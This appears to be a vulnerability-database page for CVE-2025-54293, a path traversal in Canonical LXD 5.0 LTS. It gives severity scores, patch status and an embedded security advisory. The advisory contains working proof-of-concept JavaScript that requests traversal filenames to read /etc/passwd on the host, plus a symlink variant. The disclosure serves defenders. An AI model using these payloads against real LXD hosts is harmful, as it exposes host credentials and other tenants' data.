CVE-2025-54293

mediumpriority · track · 26EPSS 0.006 · 48 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.59% (48th) EPSS
CVSS 6.5 · medium
Is it mine?
7 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Path Traversal in the log file retrieval function in Canonical LXD 5.0 LTS on Linux allows authenticated remote attackers to read arbitrary files on the host system via crafted log file names or symbolic links.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.1
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.9–7.1

v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 2.8 · impact 3.6
v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v4.07.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.07.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security@ubuntu.com
v4.04.9mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (7)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-472f-vmf2-pr3hCanonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function2025-10-02ghsa · osvUS

    ### Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instance_logs.go in the LXD 5.0 LTS series. This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier. However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it. Implementation in vulnerable versions (LXD 5.0 LTS series): https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instance_logs.go#L152-L163 This function allows filenames starting with snapshot_ or migration_, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows: Implementation in fixed versions (LXD 5.21 and later): https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L665-L679 https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835 This function ensures that filenames do not contain /, \, or .. . Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/ is rejected within system calls and doesn't succeed. However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand. Related part of instanceLogGet function: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L218-L269 Related part of instanceLogDelete function: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L331-L347 In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName. ### Reproduction Steps All reproduction steps for this finding must be performed on LXD 5.0. 1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack: ```js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot_../../../../../../../../../../etc /passwd'); const response = await fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}`, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })(); ``` ### Description (2) A similar issue also exists in the validExecOutputFileName function: https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instance_logs.go#L681-L688 For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack. ### Reproduction Steps (2) 1. Open terminal in instance using LXD-UI and create symbolic link: ``` ln -s /etc/passwd exec_XXX-symlink.stdout ``` 2. Execute the following JavaScript in browser DevTools to read files via symbolic link: ```js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(`exec_../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/exec_XXX-symlink.stdout`); const response = await fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}`, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })(); ``` This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem. ### Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host. This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system ### Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions: ### Patches | LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical | ### References Reported by GMO Flatt Security Inc.

  • GO-2025-4000Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function in github.com/canonical/lxd2025-11-05vendor · osvUS

    Canonical LXD Path Traversal Vulnerability in Instance Log File Retrieval Function in github.com/canonical/lxd

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2025-10-02modified 2026-10-12
08

references (5)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan